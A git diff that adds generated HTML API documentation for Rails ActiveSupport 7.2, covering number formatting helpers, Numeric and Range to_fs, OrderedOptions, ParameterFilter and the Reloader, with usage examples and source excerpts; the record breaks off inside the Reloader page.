number_to_human(123)                 # => "123"
+number_to_human(1234)                # => "1.23 Thousand"
+number_to_human(12345)               # => "12.3 Thousand"
+number_to_human(1234567)             # => "1.23 Million"
+number_to_human(1234567890)          # => "1.23 Billion"
+number_to_human(1234567890123)       # => "1.23 Trillion"
+number_to_human(1234567890123456)    # => "1.23 Quadrillion"
+number_to_human(1234567890123456789) # => "1230 Quadrillion"
+
+ +

See number_to_human_size if you want to pretty-print a file size.

+ +

Options

+
:locale +
+

The locale to use for formatting. Defaults to the current locale.

+
:precision +
+

The level of precision. Defaults to 3.

+ +
number_to_human(123456, precision: 2) # => "120 Thousand"
+number_to_human(123456, precision: 4) # => "123.5 Thousand"
+
+
:round_mode +
+

Specifies how rounding is performed. See BigDecimal.mode. Defaults to :default.

+ +
number_to_human(123456, precision: 2, round_mode: :up)
+# => "130 Thousand"
+
+
:significant +
+

Whether :precision should be applied to significant digits instead of fractional digits. Defaults to true.

+
:separator +
+

The decimal separator. Defaults to ".".

+ +
number_to_human(123456, precision: 4, separator: ",")
+# => "123,5 Thousand"
+
+
:delimiter +
+

The thousands delimiter. Defaults to ",".

+
:strip_insignificant_zeros +
+

Whether to remove insignificant zeros after the decimal separator. Defaults to true.

+ +
number_to_human(1000000)                                   # => "1 Million"
+number_to_human(1000000, strip_insignificant_zeros: false) # => "1.00 Million"
+number_to_human(10.01)                                     # => "10"
+number_to_human(10.01, strip_insignificant_zeros: false)   # => "10.0"
+
+
:format +
+

The format of the output. %n represents the number, and %u represents the quantifier (e.g., β€œThousand”). Defaults to "%n %u".

+
:units +
+

A Hash of custom unit quantifier names.

+ +
number_to_human(1, units: { unit: "m", thousand: "km" })        # => "1 m"
+number_to_human(100, units: { unit: "m", thousand: "km" })      # => "100 m"
+number_to_human(1000, units: { unit: "m", thousand: "km" })     # => "1 km"
+number_to_human(100000, units: { unit: "m", thousand: "km" })   # => "100 km"
+number_to_human(10000000, units: { unit: "m", thousand: "km" }) # => "10000 km"
+
+ +

The following keys are supported for integer units: :unit, :ten, :hundred, :thousand, :million, :billion, :trillion, :quadrillion. Additionally, the following keys are supported for fractional units: :deci, :centi, :mili, :micro, :nano, :pico, :femto.

+ +

The Hash can also be defined as a scope in an I18n locale. For example:

+ +
en:
+  distance:
+    centi:
+      one: "centimeter"
+      other: "centimeters"
+    unit:
+      one: "meter"
+      other: "meters"
+    thousand:
+      one: "kilometer"
+      other: "kilometers"
+
+ +

Then it can be specified by name:

+ +
number_to_human(1, units: :distance)        # => "1 meter"
+number_to_human(100, units: :distance)      # => "100 meters"
+number_to_human(1000, units: :distance)     # => "1 kilometer"
+number_to_human(100000, units: :distance)   # => "100 kilometers"
+number_to_human(10000000, units: :distance) # => "10000 kilometers"
+number_to_human(0.1, units: :distance)      # => "10 centimeters"
+number_to_human(0.01, units: :distance)     # => "1 centimeter"
+
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/number_helper.rb, line 453
+    def number_to_human(number, options = {})
+      NumberToHumanConverter.convert(number, options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + number_to_human_size(number, options = {}) + +

+ + +
+

Formats number as bytes into a more human-friendly representation. Useful for reporting file sizes to users.

+ +
number_to_human_size(123)                 # => "123 Bytes"
+number_to_human_size(1234)                # => "1.21 KB"
+number_to_human_size(12345)               # => "12.1 KB"
+number_to_human_size(1234567)             # => "1.18 MB"
+number_to_human_size(1234567890)          # => "1.15 GB"
+number_to_human_size(1234567890123)       # => "1.12 TB"
+number_to_human_size(1234567890123456)    # => "1.1 PB"
+number_to_human_size(1234567890123456789) # => "1.07 EB"
+
+ +

See number_to_human if you want to pretty-print a generic number.

+ +

Options

+
:locale +
+

The locale to use for formatting. Defaults to the current locale.

+
:precision +
+

The level of precision. Defaults to 3.

+ +
number_to_human_size(123456, precision: 2)  # => "120 KB"
+number_to_human_size(1234567, precision: 2) # => "1.2 MB"
+
+
:round_mode +
+

Specifies how rounding is performed. See BigDecimal.mode. Defaults to :default.

+ +
number_to_human_size(123456, precision: 2, round_mode: :up)
+# => "130 KB"
+
+
:significant +
+

Whether :precision should be applied to significant digits instead of fractional digits. Defaults to true.

+
:separator +
+

The decimal separator. Defaults to ".".

+ +
number_to_human_size(1234567, separator: ",")
+# => "1,18 MB"
+
+
:delimiter +
+

The thousands delimiter. Defaults to ",".

+
:strip_insignificant_zeros +
+

Whether to remove insignificant zeros after the decimal separator. Defaults to true.

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/number_helper.rb, line 351
+    def number_to_human_size(number, options = {})
+      NumberToHumanSizeConverter.convert(number, options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + number_to_percentage(number, options = {}) + +

+ + +
+

Formats number as a percentage string.

+ +
number_to_percentage(100)   # => "100.000%"
+number_to_percentage("99")  # => "99.000%"
+number_to_percentage("99x") # => "99x%"
+
+number_to_percentage(12345.6789, delimiter: ".", separator: ",", precision: 2)
+# => "12.345,68%"
+
+ +

Options

+
:locale +
+

The locale to use for formatting. Defaults to the current locale.

+ +
number_to_percentage(1000, locale: :fr)
+# => "1000,000%"
+
+
:precision +
+

The level of precision, or nil to preserve numberβ€˜s precision. Defaults to 2.

+ +
number_to_percentage(12.3456789, precision: 4) # => "12.3457%"
+number_to_percentage(99.999, precision: 0)     # => "100%"
+number_to_percentage(99.999, precision: nil)   # => "99.999%"
+
+
:round_mode +
+

Specifies how rounding is performed. See BigDecimal.mode. Defaults to :default.

+ +
number_to_percentage(12.3456789, precision: 4, round_mode: :down)
+# => "12.3456%"
+
+
:significant +
+

Whether :precision should be applied to significant digits instead of fractional digits. Defaults to false.

+ +
number_to_percentage(12345.6789)                                  # => "12345.679%"
+number_to_percentage(12345.6789, significant: true)               # => "12300%"
+number_to_percentage(12345.6789, precision: 2)                    # => "12345.68%"
+number_to_percentage(12345.6789, precision: 2, significant: true) # => "12000%"
+
+
:separator +
+

The decimal separator. Defaults to ".".

+
:delimiter +
+

The thousands delimiter. Defaults to ",".

+
:strip_insignificant_zeros +
+

Whether to remove insignificant zeros after the decimal separator. Defaults to false.

+
:format +
+

The format of the output. %n represents the number. Defaults to "%n%".

+ +
number_to_percentage(100, format: "%n  %")
+# => "100.000  %"
+
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/number_helper.rb, line 201
+    def number_to_percentage(number, options = {})
+      NumberToPercentageConverter.convert(number, options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + number_to_phone(number, options = {}) + +

+ + +
+

Formats number into a phone number.

+ +
number_to_phone(5551234)    # => "555-1234"
+number_to_phone("5551234")  # => "555-1234"
+number_to_phone(1235551234) # => "123-555-1234"
+number_to_phone("12x34")    # => "12x34"
+
+number_to_phone(1235551234, delimiter: ".", country_code: 1, extension: 1343)
+# => "+1.123.555.1234 x 1343"
+
+ +

Options

+
:area_code +
+

Whether to use parentheses for the area code. Defaults to false.

+ +
number_to_phone(1235551234, area_code: true)
+# => "(123) 555-1234"
+
+
:delimiter +
+

The digit group delimiter to use. Defaults to "-".

+ +
number_to_phone(1235551234, delimiter: " ")
+# => "123 555 1234"
+
+
:country_code +
+

A country code to prepend.

+ +
number_to_phone(1235551234, country_code: 1)
+# => "+1-123-555-1234"
+
+
:extension +
+

An extension to append.

+ +
number_to_phone(1235551234, extension: 555)
+# => "123-555-1234 x 555"
+
+
:pattern +
+

A regexp that specifies how the digits should be grouped. The first three captures from the regexp are treated as digit groups.

+ +
number_to_phone(13312345678, pattern: /(\d{3})(\d{4})(\d{4})$/)
+# => "133-1234-5678"
+number_to_phone(75561234567, pattern: /(\d{1,4})(\d{4})(\d{4})$/, area_code: true)
+# => "(755) 6123-4567"
+
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/number_helper.rb, line 66
+    def number_to_phone(number, options = {})
+      NumberToPhoneConverter.convert(number, options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + number_to_rounded(number, options = {}) + +

+ + +
+

Formats number to a specific level of precision.

+ +
number_to_rounded(12345.6789)                # => "12345.679"
+number_to_rounded(12345.6789, precision: 2)  # => "12345.68"
+number_to_rounded(12345.6789, precision: 0)  # => "12345"
+number_to_rounded(12345, precision: 5)       # => "12345.00000"
+
+ +

Options

+
:locale +
+

The locale to use for formatting. Defaults to the current locale.

+ +
number_to_rounded(111.234, locale: :fr)
+# => "111,234"
+
+
:precision +
+

The level of precision, or nil to preserve numberβ€˜s precision. Defaults to 3.

+ +
number_to_rounded(12345.6789, precision: nil)
+# => "12345.6789"
+
+
:round_mode +
+

Specifies how rounding is performed. See BigDecimal.mode. Defaults to :default.

+ +
number_to_rounded(12.34, precision: 0, round_mode: :up)
+# => "13"
+
+
:significant +
+

Whether :precision should be applied to significant digits instead of fractional digits. Defaults to false.

+ +
number_to_rounded(12345.6789)                                  # => "12345.679"
+number_to_rounded(12345.6789, significant: true)               # => "12300"
+number_to_rounded(12345.6789, precision: 2)                    # => "12345.68"
+number_to_rounded(12345.6789, precision: 2, significant: true) # => "12000"
+
+
:separator +
+

The decimal separator. Defaults to ".".

+
:delimiter +
+

The thousands delimiter. Defaults to ",".

+
:strip_insignificant_zeros +
+

Whether to remove insignificant zeros after the decimal separator. Defaults to false.

+ +
number_to_rounded(12.34, strip_insignificant_zeros: false)  # => "12.340"
+number_to_rounded(12.34, strip_insignificant_zeros: true)   # => "12.34"
+number_to_rounded(12.3456, strip_insignificant_zeros: true) # => "12.346"
+
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/number_helper.rb, line 298
+    def number_to_rounded(number, options = {})
+      NumberToRoundedConverter.convert(number, options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/NumericWithFormat.html b/src/7.2/classes/ActiveSupport/NumericWithFormat.html new file mode 100644 index 0000000000..929afe48a5 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/NumericWithFormat.html @@ -0,0 +1,260 @@ +--- +title: ActiveSupport::NumericWithFormat +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + to_formatted_s(format = nil, options = nil) + +

+ + +
+ +
+ + + + + +
+ Alias for: to_fs +
+ + + + +
+ +
+

+ + to_fs(format = nil, options = nil) + +

+ + +
+

Numeric With Format

+ +

Provides options for converting numbers into formatted strings. Options are provided for phone numbers, currency, percentage, precision, positional notation, file size, and pretty printing.

+ +

This method is aliased to to_formatted_s.

+ +

Options

+ +

For details on which formats use which options, see ActiveSupport::NumberHelper

+ +

Examples

+ +
Phone Numbers:
+5551234.to_fs(:phone)                                     # => "555-1234"
+1235551234.to_fs(:phone)                                  # => "123-555-1234"
+1235551234.to_fs(:phone, area_code: true)                 # => "(123) 555-1234"
+1235551234.to_fs(:phone, delimiter: ' ')                  # => "123 555 1234"
+1235551234.to_fs(:phone, area_code: true, extension: 555) # => "(123) 555-1234 x 555"
+1235551234.to_fs(:phone, country_code: 1)                 # => "+1-123-555-1234"
+1235551234.to_fs(:phone, country_code: 1, extension: 1343, delimiter: '.')
+# => "+1.123.555.1234 x 1343"
+
+Currency:
+1234567890.50.to_fs(:currency)                     # => "$1,234,567,890.50"
+1234567890.506.to_fs(:currency)                    # => "$1,234,567,890.51"
+1234567890.506.to_fs(:currency, precision: 3)      # => "$1,234,567,890.506"
+1234567890.506.to_fs(:currency, round_mode: :down) # => "$1,234,567,890.50"
+1234567890.506.to_fs(:currency, locale: :fr)       # => "1 234 567 890,51 €"
+-1234567890.50.to_fs(:currency, negative_format: '(%u%n)')
+# => "($1,234,567,890.50)"
+1234567890.50.to_fs(:currency, unit: '&pound;', separator: ',', delimiter: '')
+# => "&pound;1234567890,50"
+1234567890.50.to_fs(:currency, unit: '&pound;', separator: ',', delimiter: '', format: '%n %u')
+# => "1234567890,50 &pound;"
+
+Percentage:
+100.to_fs(:percentage)                                  # => "100.000%"
+100.to_fs(:percentage, precision: 0)                    # => "100%"
+1000.to_fs(:percentage, delimiter: '.', separator: ',') # => "1.000,000%"
+302.24398923423.to_fs(:percentage, precision: 5)        # => "302.24399%"
+302.24398923423.to_fs(:percentage, round_mode: :down)   # => "302.243%"
+1000.to_fs(:percentage, locale: :fr)                    # => "1 000,000%"
+100.to_fs(:percentage, format: '%n  %')                 # => "100.000  %"
+
+Delimited:
+12345678.to_fs(:delimited)                     # => "12,345,678"
+12345678.05.to_fs(:delimited)                  # => "12,345,678.05"
+12345678.to_fs(:delimited, delimiter: '.')     # => "12.345.678"
+12345678.to_fs(:delimited, delimiter: ',')     # => "12,345,678"
+12345678.05.to_fs(:delimited, separator: ' ')  # => "12,345,678 05"
+12345678.05.to_fs(:delimited, locale: :fr)     # => "12 345 678,05"
+98765432.98.to_fs(:delimited, delimiter: ' ', separator: ',')
+# => "98 765 432,98"
+
+Rounded:
+111.2345.to_fs(:rounded)                                      # => "111.235"
+111.2345.to_fs(:rounded, precision: 2)                        # => "111.23"
+111.2345.to_fs(:rounded, precision: 2, round_mode: :up)       # => "111.24"
+13.to_fs(:rounded, precision: 5)                              # => "13.00000"
+389.32314.to_fs(:rounded, precision: 0)                       # => "389"
+111.2345.to_fs(:rounded, significant: true)                   # => "111"
+111.2345.to_fs(:rounded, precision: 1, significant: true)     # => "100"
+13.to_fs(:rounded, precision: 5, significant: true)           # => "13.000"
+111.234.to_fs(:rounded, locale: :fr)                          # => "111,234"
+13.to_fs(:rounded, precision: 5, significant: true, strip_insignificant_zeros: true)
+# => "13"
+389.32314.to_fs(:rounded, precision: 4, significant: true)    # => "389.3"
+1111.2345.to_fs(:rounded, precision: 2, separator: ',', delimiter: '.')
+# => "1.111,23"
+
+Human-friendly size in Bytes:
+123.to_fs(:human_size)                                    # => "123 Bytes"
+1234.to_fs(:human_size)                                   # => "1.21 KB"
+12345.to_fs(:human_size)                                  # => "12.1 KB"
+1234567.to_fs(:human_size)                                # => "1.18 MB"
+1234567890.to_fs(:human_size)                             # => "1.15 GB"
+1234567890123.to_fs(:human_size)                          # => "1.12 TB"
+1234567890123456.to_fs(:human_size)                       # => "1.1 PB"
+1234567890123456789.to_fs(:human_size)                    # => "1.07 EB"
+1234567.to_fs(:human_size, precision: 2)                  # => "1.2 MB"
+1234567.to_fs(:human_size, precision: 2, round_mode: :up) # => "1.3 MB"
+483989.to_fs(:human_size, precision: 2)                   # => "470 KB"
+1234567.to_fs(:human_size, precision: 2, separator: ',')  # => "1,2 MB"
+1234567890123.to_fs(:human_size, precision: 5)            # => "1.1228 TB"
+524288000.to_fs(:human_size, precision: 5)                # => "500 MB"
+
+Human-friendly format:
+123.to_fs(:human)                                       # => "123"
+1234.to_fs(:human)                                      # => "1.23 Thousand"
+12345.to_fs(:human)                                     # => "12.3 Thousand"
+1234567.to_fs(:human)                                   # => "1.23 Million"
+1234567890.to_fs(:human)                                # => "1.23 Billion"
+1234567890123.to_fs(:human)                             # => "1.23 Trillion"
+1234567890123456.to_fs(:human)                          # => "1.23 Quadrillion"
+1234567890123456789.to_fs(:human)                       # => "1230 Quadrillion"
+489939.to_fs(:human, precision: 2)                      # => "490 Thousand"
+489939.to_fs(:human, precision: 2, round_mode: :down)   # => "480 Thousand"
+489939.to_fs(:human, precision: 4)                      # => "489.9 Thousand"
+1234567.to_fs(:human, precision: 4,
+                 significant: false)                             # => "1.2346 Million"
+1234567.to_fs(:human, precision: 1,
+                 separator: ',',
+                 significant: false)                             # => "1,2 Million"
+
+
+ + + +
+ Also aliased as: to_formatted_s +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/conversions.rb, line 113
+    def to_fs(format = nil, options = nil)
+      return to_s if format.nil?
+
+      case format
+      when Integer, String
+        to_s(format)
+      when :phone
+        ActiveSupport::NumberHelper.number_to_phone(self, options || {})
+      when :currency
+        ActiveSupport::NumberHelper.number_to_currency(self, options || {})
+      when :percentage
+        ActiveSupport::NumberHelper.number_to_percentage(self, options || {})
+      when :delimited
+        ActiveSupport::NumberHelper.number_to_delimited(self, options || {})
+      when :rounded
+        ActiveSupport::NumberHelper.number_to_rounded(self, options || {})
+      when :human
+        ActiveSupport::NumberHelper.number_to_human(self, options || {})
+      when :human_size
+        ActiveSupport::NumberHelper.number_to_human_size(self, options || {})
+      when Symbol
+        to_s
+      else
+        to_s(format)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/OrderedOptions.html b/src/7.2/classes/ActiveSupport/OrderedOptions.html new file mode 100644 index 0000000000..584dd87459 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/OrderedOptions.html @@ -0,0 +1,414 @@ +--- +title: ActiveSupport::OrderedOptions +layout: default +--- +
+ +
+
+ +
+ +

Ordered Options

+ +

OrderedOptions inherits from Hash and provides dynamic accessor methods.

+ +

With a Hash, key-value pairs are typically managed like this:

+ +
h = {}
+h[:boy] = 'John'
+h[:girl] = 'Mary'
+h[:boy]  # => 'John'
+h[:girl] # => 'Mary'
+h[:dog]  # => nil
+
+ +

Using OrderedOptions, the above code can be written as:

+ +
h = ActiveSupport::OrderedOptions.new
+h.boy = 'John'
+h.girl = 'Mary'
+h.boy  # => 'John'
+h.girl # => 'Mary'
+h.dog  # => nil
+
+ +

To raise an exception when the value is blank, append a bang to the key name, like:

+ +
h.dog! # => raises KeyError: :dog is blank
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + [](key) + +

+ + +
+ +
+ + + +
+ Also aliased as: _get +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 41
+    def [](key)
+      super(key.to_sym)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + []=(key, value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 37
+    def []=(key, value)
+      super(key.to_sym, value)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + _get(key) + +

+ + +
+ +
+ + + + + +
+ Alias for: [] +
+ + + + +
+ +
+

+ + dig(key, *identifiers) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 45
+    def dig(key, *identifiers)
+      super(key.to_sym, *identifiers)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extractable_options?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 64
+    def extractable_options?
+      true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inspect() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 68
+    def inspect
+      "#<#{self.class.name} #{super}>"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + method_missing(method, *args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 49
+    def method_missing(method, *args)
+      if method.end_with?("=")
+        self[method.name.chomp("=")] = args.first
+      elsif method.end_with?("!")
+        name_string = method.name.chomp("!")
+        self[name_string].presence || raise(KeyError.new(":#{name_string} is blank"))
+      else
+        self[method.name]
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + respond_to_missing?(name, include_private) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/ordered_options.rb, line 60
+    def respond_to_missing?(name, include_private)
+      true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/ParameterFilter.html b/src/7.2/classes/ActiveSupport/ParameterFilter.html new file mode 100644 index 0000000000..094d893100 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/ParameterFilter.html @@ -0,0 +1,285 @@ +--- +title: ActiveSupport::ParameterFilter +layout: default +--- +
+ +
+
+ +
+ +

Active Support Parameter Filter

+ +

ParameterFilter replaces values in a Hash-like object if their keys match one of the specified filters.

+ +

Matching based on nested keys is possible by using dot notation, e.g. "credit_card.number".

+ +

If a proc is given as a filter, each key and value of the Hash-like and of any nested Hashes will be passed to it. The value or key can then be mutated as desired using methods such as String#replace.

+ +
# Replaces values with "[FILTERED]" for keys that match /password/i.
+ActiveSupport::ParameterFilter.new([:password])
+
+# Replaces values with "[FILTERED]" for keys that match /foo|bar/i.
+ActiveSupport::ParameterFilter.new([:foo, "bar"])
+
+# Replaces values for the exact key "pin" and for keys that begin with
+# "pin_". Does not match keys that otherwise include "pin" as a
+# substring, such as "shipping_id".
+ActiveSupport::ParameterFilter.new([/\Apin\z/, /\Apin_/])
+
+# Replaces the value for :code in `{ credit_card: { code: "xxxx" } }`.
+# Does not change `{ file: { code: "xxxx" } }`.
+ActiveSupport::ParameterFilter.new(["credit_card.code"])
+
+# Reverses values for keys that match /secret/i.
+ActiveSupport::ParameterFilter.new([-> (k, v) do
+  v.reverse! if /secret/i.match?(k)
+end])
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(filters = [], mask: FILTERED) + +

+ + +
+

Create instance with given filters. Supported type of filters are String, Regexp, and Proc. Other types of filters are treated as String using to_s. For Proc filters, key, value, and optional original hash is passed to block arguments.

+ +

Options

+
  • +

    :mask - A replaced object when filtered. Defaults to "[FILTERED]".

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/parameter_filter.rb, line 77
+    def initialize(filters = [], mask: FILTERED)
+      @mask = mask
+      compile_filters!(filters)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + precompile_filters(filters) + +

+ + +
+

Precompiles an array of filters that otherwise would be passed directly to initialize. Depending on the quantity and types of filters, precompilation can improve filtering performance, especially in the case where the ParameterFilter instance itself cannot be retained (but the precompiled filters can be retained).

+ +
filters = [/foo/, :bar, "nested.baz", /nested\.qux/]
+
+precompiled = ActiveSupport::ParameterFilter.precompile_filters(filters)
+# => [/(?-mix:foo)|(?i:bar)/, /(?i:nested\.baz)|(?-mix:nested\.qux)/]
+
+ActiveSupport::ParameterFilter.new(precompiled)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/parameter_filter.rb, line 55
+    def self.precompile_filters(filters)
+      filters, patterns = filters.partition { |filter| filter.is_a?(Proc) }
+
+      patterns.map! do |pattern|
+        pattern.is_a?(Regexp) ? pattern : "(?i:#{Regexp.escape pattern.to_s})"
+      end
+
+      deep_patterns = patterns.extract! { |pattern| pattern.to_s.include?("\\.") }
+
+      filters << Regexp.new(patterns.join("|")) if patterns.any?
+      filters << Regexp.new(deep_patterns.join("|")) if deep_patterns.any?
+
+      filters
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + filter(params) + +

+ + +
+

Mask value of params if key matches one of filters.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/parameter_filter.rb, line 83
+    def filter(params)
+      @no_filters ? params.dup : call(params)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + filter_param(key, value) + +

+ + +
+

Returns filtered value for given key. For Proc filters, third block argument is not populated.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/parameter_filter.rb, line 88
+    def filter_param(key, value)
+      @no_filters ? value : value_for_key(key, value)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/RaiseWarnings.html b/src/7.2/classes/ActiveSupport/RaiseWarnings.html new file mode 100644 index 0000000000..bc7b3174ee --- /dev/null +++ b/src/7.2/classes/ActiveSupport/RaiseWarnings.html @@ -0,0 +1,67 @@ +--- +title: ActiveSupport::RaiseWarnings +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/RaiseWarnings/WarningError.html b/src/7.2/classes/ActiveSupport/RaiseWarnings/WarningError.html new file mode 100644 index 0000000000..faef9f3f9b --- /dev/null +++ b/src/7.2/classes/ActiveSupport/RaiseWarnings/WarningError.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::RaiseWarnings::WarningError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/RangeWithFormat.html b/src/7.2/classes/ActiveSupport/RangeWithFormat.html new file mode 100644 index 0000000000..256129f1a9 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/RangeWithFormat.html @@ -0,0 +1,201 @@ +--- +title: ActiveSupport::RangeWithFormat +layout: default +--- +
+ +
+
+ +
+ +

Range With Format

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
RANGE_FORMATS={ +db: -> (start, stop) do +if start && stop +case start +when String then "BETWEEN '#{start}' AND '#{stop}'" +else +"BETWEEN '#{start.to_fs(:db)}' AND '#{stop.to_fs(:db)}'" +end +elsif start +case start +when String then ">= '#{start}'" +else +">= '#{start.to_fs(:db)}'" +end +elsif stop +case stop +when String then "<= '#{stop}'" +else +"<= '#{stop.to_fs(:db)}'" +end +end +end +}
+ + + + + + + +

Instance Public methods

+ +
+

+ + to_formatted_s(format = :default) + +

+ + +
+ +
+ + + + + +
+ Alias for: to_fs +
+ + + + +
+ +
+

+ + to_fs(format = :default) + +

+ + +
+

Convert range to a formatted string. See RANGE_FORMATS for predefined formats.

+ +

This method is aliased to to_formatted_s.

+ +
range = (1..100)           # => 1..100
+
+range.to_s                 # => "1..100"
+range.to_fs(:db)           # => "BETWEEN '1' AND '100'"
+
+range = (1..)              # => 1..
+range.to_fs(:db)           # => ">= '1'"
+
+range = (..100)            # => ..100
+range.to_fs(:db)           # => "<= '100'"
+
+ +

Adding your own range formats to to_fs

+ +

You can add your own formats to the Range::RANGE_FORMATS hash. Use the format name as the hash key and a Proc instance.

+ +
# config/initializers/range_formats.rb
+Range::RANGE_FORMATS[:short] = ->(start, stop) { "Between #{start.to_fs(:db)} and #{stop.to_fs(:db)}" }
+
+
+ + + +
+ Also aliased as: to_formatted_s +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/range/conversions.rb, line 51
+    def to_fs(format = :default)
+      if formatter = RANGE_FORMATS[format]
+        formatter.call(self.begin, self.end)
+      else
+        to_s
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Reloader.html b/src/7.2/classes/ActiveSupport/Reloader.html new file mode 100644 index 0000000000..06e313e3f5 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Reloader.html @@ -0,0 +1,432 @@ +--- +title: ActiveSupport::Reloader +layout: default +--- +
+ +
+
+ +
+ +

Active Support Reloader

+ +

This class defines several callbacks:

+ +
to_prepare -- Run once at application startup, and also from
++to_run+.
+
+to_run -- Run before a work run that is reloading. If
++reload_classes_only_on_change+ is true (the default), the class
+unload will have already occurred.
+
+to_complete -- Run after a work run that has reloaded. If
++reload_classes_only_on_change+ is false, the class unload will
+have occurred after the work run, but before this callback.
+
+before_class_unload -- Run immediately before the classes are
+unloaded.
+
+after_class_unload -- Run immediately after the classes are
+unloaded.
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + after_class_unload(*args, &block) + +

+ + +
+

Registers a callback that will run immediately after the classes are unloaded.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/reloader.rb, line 44
+    def self.after_class_unload(*args, &block)
+      set_callback(:class_unload, :after, *args, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before_class_unload(*args, &block) + +

+ + +
+

Registers a callback that will run immediately before the classes are unloaded.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/reloader.rb, line 39
+    def self.before_class_unload(*args, &block)
+      set_callback(:class_unload, *args, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/reloader.rb, line 99
+    def initialize
+      super
+      @locked = false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reload!() + +

+ + +
+

Initiate a manual reload

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/reloader.rb, line 51
+    def self.reload!
+      executor.wrap do
+        new.tap do |instance|
+          instance.run!
+        ensure
+          instance.complete!
+        end
+      end
+      prepare!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_prepare(*args, &block) + +

+ + +
+

Registers a callback that will run once at application startup and every time the code is reloaded.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/reloader.rb, line 34
+    def self.to_prepare(*args, &block)
+      set_callback(:prepare, *args, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + wrap(**kwargs) + +

+ + +
+

Run the supplied block as a work unit, reloading code as needed

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
